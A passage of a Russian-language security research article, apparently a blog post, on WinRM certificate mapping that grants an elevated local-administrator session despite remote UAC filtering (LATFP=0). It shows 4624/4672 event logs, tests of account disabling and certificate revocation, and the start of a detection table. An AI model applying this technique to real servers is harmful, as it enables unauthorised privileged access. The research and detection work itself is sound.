align=\"left\"><code>Yes<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0423\u0441\u043f\u0435\u0448\u043d\u043e<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0421\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u2192\u00a0<code>CERTMAP-ADMIN<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>0<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>Advapi \/ Negotiate<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>Yes<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0423\u0441\u043f\u0435\u0448\u043d\u043e<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0440\u0430\u0437\u043d\u0438\u0446\u0430: \u043f\u0440\u0438\u00a0<strong>\u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0445\u00a0<\/strong><code><strong>EnableLUA=1<\/strong><\/code><strong>,\u00a0<\/strong><code><strong>LATFP=0<\/strong><\/code><strong>, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u0438 WinRM endpoint<\/strong>\u00a0\u043f\u0430\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438, \u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0434\u0435\u043b\u043e \u043d\u0435 \u0432 \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u043c UAC \u0438 \u043d\u0435 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043e\u0441\u043e\u0431\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u043c\u0435\u0436\u0434\u0443 \u0442\u0435\u0441\u0442\u0430\u043c\u0438.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u043a\u0430\u043a \u0433\u043e\u043b\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430, \u043f\u0440\u0438\u0432\u0435\u0434\u0443 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u043b\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439\u00a0<code>4624<\/code>\u00a0\u0438\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430.<\/p>\n<p><strong>\u041f\u0440\u044f\u043c\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\u00a0<\/strong><code><strong>LATFP=0<\/strong><\/code><strong>:<\/strong><\/p>\n<pre><code class=\"powershell\">EventID: 4624TargetUserName: CERTMAP-ADMINTargetDomainName: SRV01TargetLogonId: '0x2372e4'LogonType: 3LogonProcessName: NtLmSspAuthenticationPackageName: NTLMSourceNetworkAddress: 192.168.1.3ElevatedToken: No (%%1843)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0421\u0430\u043c \u0432\u0445\u043e\u0434 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d, \u043d\u043e WinRM \u043e\u0442\u0432\u0435\u0442\u0438\u043b:<\/p>\n<pre><code class=\"powershell\">WinRM::WinRMAuthorizationError<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/extt\/60\/53\/c4\/6053c4bf0ce3ebb73ecaa785b817ef60.png\" width=\"1787\" height=\"325\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/extt\/60\/53\/c4\/6053c4bf0ce3ebb73ecaa785b817ef60.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/extt\/60\/53\/c4\/6053c4bf0ce3ebb73ecaa785b817ef60.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p><strong>\u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u043f\u0440\u0438 \u0442\u043e\u043c \u0436\u0435\u00a0<\/strong><code><strong>LATFP=0<\/strong><\/code><strong>:<\/strong><\/p>\n<pre><code class=\"powershell\">EventID: 4624SubjectUserSid: S-1-5-20SubjectUserName: SRV01$SubjectDomainName: TESTSubjectLogonId: '0x3e4'TargetUserName: CERTMAP-ADMINTargetDomainName: SRV01TargetLogonId: '0x2443d6'LogonType: 3LogonProcessName: AdvapiAuthenticationPackageName: NegotiateProcessName: C:\\Windows\\System32\\svchost.exeElevatedToken: Yes (%%1842)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0421\u043e\u0431\u044b\u0442\u0438\u0435\u00a0<code>4672<\/code>\u00a0\u0441 \u0442\u0435\u043c \u0436\u0435\u00a0<code>LogonId=0x2443d6<\/code>\u00a0\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u043e\u00a0<code>SeDebugPrivilege<\/code>,\u00a0<code>SeBackupPrivilege<\/code>,\u00a0<code>SeRestorePrivilege<\/code>,\u00a0<code>SeTakeOwnershipPrivilege<\/code>,\u00a0<code>SeImpersonatePrivilege<\/code>\u00a0\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0410\u00a0<code>whoami<\/code>\u00a0\u0432\u00a0<strong>\u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0448\u0435\u0439\u0441\u044f<\/strong>\u00a0\u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u00a0<code>BUILTIN\\Administrators<\/code>\u00a0\u0438\u00a0<code>High Mandatory Level<\/code>.<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/extt\/ee\/55\/1f\/ee551ff896d848eb219e6ccaae62b687.png\" width=\"1781\" height=\"414\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/extt\/ee\/55\/1f\/ee551ff896d848eb219e6ccaae62b687.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/extt\/ee\/55\/1f\/ee551ff896d848eb219e6ccaae62b687.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u0414\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0442\u044b: \u0432 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u043e\u043c \u0442\u0435\u0441\u0442\u0435 \u0441\u00a0<code>LATFP=1<\/code>\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f\u00a0<code>LogonId=0x22cf9a<\/code>\u00a0(<code>NtLmSsp\/NTLM<\/code>,\u00a0<code>ElevatedToken=Yes<\/code>), \u0430 \u0432 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043d\u043e\u043c \u0442\u0435\u0441\u0442\u0435 \u0441\u00a0<code>LATFP=1<\/code>\u00a0\u2014\u00a0<code>0x248cec<\/code>\u00a0(<code>Advapi\/Negotiate<\/code>,\u00a0<code>ElevatedToken=Yes<\/code>). \u0422\u0430\u043a \u0447\u0442\u043e \u043c\u044b \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u043c \u0432\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0434\u0432\u0430 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u0430.<\/p>\n<p>\u041e\u0442\u043a\u0443\u0434\u0430 \u0440\u0430\u0437\u043d\u0438\u0446\u0430? \u041f\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043f\u0443\u0442\u0438 \u0432\u0445\u043e\u0434\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f. \u041f\u0440\u0438 \u0432\u0432\u043e\u0434\u0435 \u043f\u0430\u0440\u043e\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437\u00a0<code>NtLmSsp<\/code>, \u0430 \u043f\u0440\u0438 certificate mapping \u0432\u0445\u043e\u0434 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0423\u0417 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c WinRM (<code>Advapi\/Negotiate<\/code>,\u00a0<code>svchost.exe<\/code>,\u00a0<code>S-1-5-20<\/code>\u00a0\u2014\u00a0<code>NETWORK SERVICE<\/code>). \u0414\u043b\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u0432 \u0441\u0442\u0435\u043d\u0434\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f\u00a0<strong>\u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0439<\/strong>\u00a0\u0442\u043e\u043a\u0435\u043d \u0434\u0430\u0436\u0435 \u043f\u0440\u0438\u00a0<code>LATFP=0<\/code>.<\/p>\n<p><strong>\u0427\u0442\u043e \u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438?<\/strong>\u00a0\u0423 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u043b\u043e\u0436\u043d\u043e\u0435 \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439\u00a0<code>LATFP=0<\/code>\u00a0\u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043e\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430. \u0412 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0442\u0430\u043a\u043e\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u0435\u0440\u043d\u043e:\u00a0<strong>WinRM certificate mapping \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b \u043a \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u043c\u0443 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0442\u043e\u043a\u0435\u043d\u0443, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 Remote UAC restrictions \u0434\u043b\u044f \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430<\/strong>. \u042d\u0442\u043e \u0432\u0430\u0436\u043d\u043e\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CertiSplit \u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0442\u0438\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\u00a0<code>LATFP=0<\/code>\u00a0\u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043c\u0435\u0440\u044b.<\/p>\n<p>\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0430\u0436\u043d\u043e \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u00abUAC bypass\u00bb \u0434\u043b\u044f \u043b\u044e\u0431\u044b\u0445 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041c\u044b \u0432\u0438\u0434\u0438\u043c\u00a0<strong>\u0440\u0430\u0437\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0442\u043e\u043a\u0435\u043d\u0430<\/strong>\u00a0\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f \u0434\u043b\u044f \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0441\u0435\u0430\u043d\u0441\u0443. \u0420\u0430\u0437\u043d\u0438\u0446\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u0430 \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u043c, \u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u044d\u0442\u043e \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u043c \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows &#8212; \u044d\u0442\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044d\u0442\u0438 \u043b\u043e\u0433\u0438 \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442.<\/p>\n<h4>\u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0423\u0417 \u0438 \u043e\u0442\u0437\u044b\u0432 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430<\/h4>\n<p>\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0451\u0442, \u0435\u0441\u043b\u0438 \u043b\u0438\u0448\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0434\u043e\u043c\u0435\u043d\u0443. \u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u0434\u0430\u0447\u0438\u00a0<code>bob<\/code>\u00a0\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b \u0434\u043e\u043c\u0435\u043d\u043d\u0443\u044e \u0423\u0417:<\/p>\n<pre><code class=\"powershell\">Disable-ADAccount -Identity bob<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c\u00a0<strong>\u0441\u043e\u0437\u0434\u0430\u043b \u043d\u043e\u0432\u0443\u044e<\/strong>\u00a0WinRM HTTPS-\u0441\u0435\u0441\u0441\u0438\u044e \u0441 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u2014 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u043b\u043e,\u00a0<code>whoami<\/code>\u00a0\u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u00a0<code>SRV01\\CERTMAP-ADMIN<\/code>.<\/p>\n<p>\u0422\u043e \u0435\u0441\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u00a0<code>TEST\\bob<\/code>\u00a0\u043d\u0435 \u0440\u0430\u0432\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u043e\u0442\u0437\u044b\u0432\u0443 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u0435\u043c\u0443 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u0438 \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u0438\u0437 mapping.<\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439: \u043e\u0442\u043e\u0437\u0432\u0430\u043b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0441\u0432\u0435\u0436\u0438\u0439 CRL \u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b \u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u043d\u0430 WEC. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Windows \u0432\u0435\u0440\u043d\u0443\u043b\u0430:<\/p>\n<pre><code class=\"powershell\">CRYPT_E_REVOKED<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e\u00a0<strong>\u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u043e \u043e\u0442\u043e\u0437\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0443 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c<\/strong>. \u0417\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0430 CRL: \u043a\u043e\u0433\u0434\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0430\u0442\u0443\u0441 \u043e\u0442\u0437\u044b\u0432\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430.<\/p>\n<h3>\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438 \u0434\u0435\u0442\u0435\u043a\u0446\u0438\u044f<\/h3>\n<p>\u0417\u0434\u0435\u0441\u044c \u0435\u0441\u0442\u044c \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439\u00a0<code>4624<\/code>\u00a0\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e CertiSplit. \u041d\u0443\u0436\u043d\u044b\u00a0<strong>\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 WEC, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 mapping \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c WinRM<\/strong>.<\/p>\n<p>\u041d\u0430 \u0447\u0442\u043e \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a<\/p>\n<\/th>\n<th>\n<p align=\"left\">ID \/ \u0434\u0430\u043d\u043d\u044b\u0435<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f WinRM \u043d\u0430 WEC<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>Issuer<\/code>,\u00a0<code>Subject<\/code>,\u00a0<code>URI<\/code>,\u00a0<code>UserName<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u00a0<code>Subject=*<\/code>,\u00a0<code>URI=*<\/code>\u00a0\u0441 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u2014 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0440\u0438\u0441\u043a<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Security \u043d\u0430 WEC<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>4624<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0432 mapped user:\u00a0<code>Advapi<\/code>,\u00a0<code>Negotiate<\/code>,\u00a0<code>LogonType=3<\/code>,\u00a0<code>ElevatedToken=Yes<\/code><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Security \u043d\u0430 WEC<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>4672<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043b\u044f \u0442\u043e\u0433\u043e \u0436\u0435\u00a0<code>LogonId<\/code><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">WinRM \/ PowerShell<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f shell<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DC (\u0432\u0430\u0440\u0438\u0430\u043d\u0442 Machine)<\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>4741<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0423\u0417 \u043e\u0431\u044b\u0447\u043d\u044b\u043c 